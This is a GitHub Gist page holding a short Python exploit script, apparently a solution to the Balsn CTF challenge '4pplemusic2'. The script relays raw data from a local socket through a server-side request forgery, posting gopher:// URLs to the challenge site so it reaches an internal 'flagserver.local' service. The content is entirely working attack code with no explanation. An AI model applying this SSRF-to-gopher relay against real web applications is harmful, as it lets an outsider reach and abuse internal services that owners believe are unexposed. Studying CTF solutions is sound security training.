Created
November 22, 2021 04:44
-
-
Save ss23/88f8510afc0b1de3984be865689ec7cd to your computer and use it in GitHub Desktop.
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import socket | |
import time | |
import urllib.parse | |
import requests | |
HOST = '0.0.0.0' # Standard loopback interface address (localhost) | |
PORT = 65432 | |
def serve_request(conn): | |
# Lets just wait until we can assume all the data was sent | |
time.sleep(.5) | |
data = conn.recv(8192) | |
payload = '_' + urllib.parse.quote(data) | |
requests.post("http://4pplemusic2.balsnctf.com:28880/index.php", data = {"url": "gopher://flagserver.local:34571/" + payload}) | |
return | |
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s: | |
s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) | |
s.bind((HOST, PORT)) | |
s.listen() | |
while True: | |
conn, addr = s.accept() | |
with conn: | |
print('Connected by', addr) | |
serve_request(conn) | |
print('Disconnected by', addr) |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment